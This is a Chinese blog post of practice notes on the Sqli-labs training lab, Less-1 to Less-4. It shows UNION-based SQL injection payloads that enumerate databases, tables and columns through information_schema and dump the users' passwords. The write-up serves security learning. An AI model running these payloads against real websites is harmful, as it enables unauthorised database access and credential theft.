美文网首页sql注入
Sqli-labs练习笔记(长期更新中)

Sqli-labs练习笔记(长期更新中)

作者: NoelleMu | 来源:发表于2019-06-27 18:13 被阅读75次

    Less-1

    首先测试id=1'发现页面报错,说明存在注入点,并且没有过滤单引号:

    使用“#”注释掉后面的sql语句之后,发现回显又正常了(GET方式提交#必须用URL编码,也就是%23输入):

    说明这里是基于报错的单引号字符型注入

    接下来使用order by语句判断列数。order by 3回显正常,order by 4报错,所以一共有3列。

    将id改为一个不存在的值并使用union select 1,2,3判断显示位,可以看到显示了2和3。

    接下来查询数据库的各种信息。这里经常需要用到几个被称为“字符串连接函数”的函数,常用的有以下几个:

    concat()
    concat_ws()
    group_concat()
    

    这里使用group_concat()。

    爆数据库名:

    ?id=8888' union select 1,group_concat(schema_name),3 from information_schema.schemata%23
    

    这里用到了一个叫information_schema的东西。

    information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

    from https://blog.csdn.net/kikajack/article/details/80065753

    在SQL注入中,这个数据库中有几个比较常用的表:

    1. schemata表,这个表中存放了所有数据库的信息。
    2. tables表,存放了数据库中所有数据表的信息。
    3. columns表,存放了所有列的信息。

    这里利用了 schemata表来获取了所有数据库的名称。

    接下来爆security数据库中的列:

    ?id=8888' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
    

    爆users列的字段:

    ?id=8888' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
    

    爆password字段的信息:

    ?id=8888' union select 1,group_concat(password),3 from security.users%23
    

    Less-1完成。

    Less-2

    这个题是基于报错的数字型注入,利用方法和上面的基本一样,只是不需要加id后面的单引号。

    看报错可以知道我们输入的语句被原封不动地插入到sql语句中。

    payload:

    ?id=1 order by 3
    ?id=1 order by 4 /*报错,说明有3列*/
    ?id=8888 union select 1,group_concat(schema_name),3 from information_schema.schemata
    ?id=8888 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
    ?id=8888 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
    ?id=8888 union select 1,group_concat(password),3 from security.users
    

    Less-2完成。

    Less-3

    ?id=1'测试了一下,发现报错有变化,根据报错可以知道这里是使用')闭合字符串的,所以在Less-1的id后面加一个)就可以了。这里还是需要加%23把后面的语句注释掉。

    payload:

    ?id=8888') union select 1,group_concat(schema_name),3 from information_schema.schemata%23
    ?id=8888') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
    ?id=8888') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
    ?id=8888') union select 1,group_concat(password),3 from security.users%23
    

    Less-3完成。

    Less-4

    ?id=1'测试了一下发现没有问题,但是用?id=1"测试发现报错:

    根据报错可以知道我们的字符串被放在双引号和括号之间了。

    payload:

    ?id=8888") union select 1,group_concat(schema_name),3 from information_schema.schemata%23
    ?id=8888") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
    ?id=8888") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
    ?id=8888") union select 1,group_concat(password),3 from security.users%23
    

    Less-4完成。

    相关文章

      网友评论

        本文标题:Sqli-labs练习笔记(长期更新中)

        本文链接:https://www.haomeiwen.com/subject/iawrcctx.html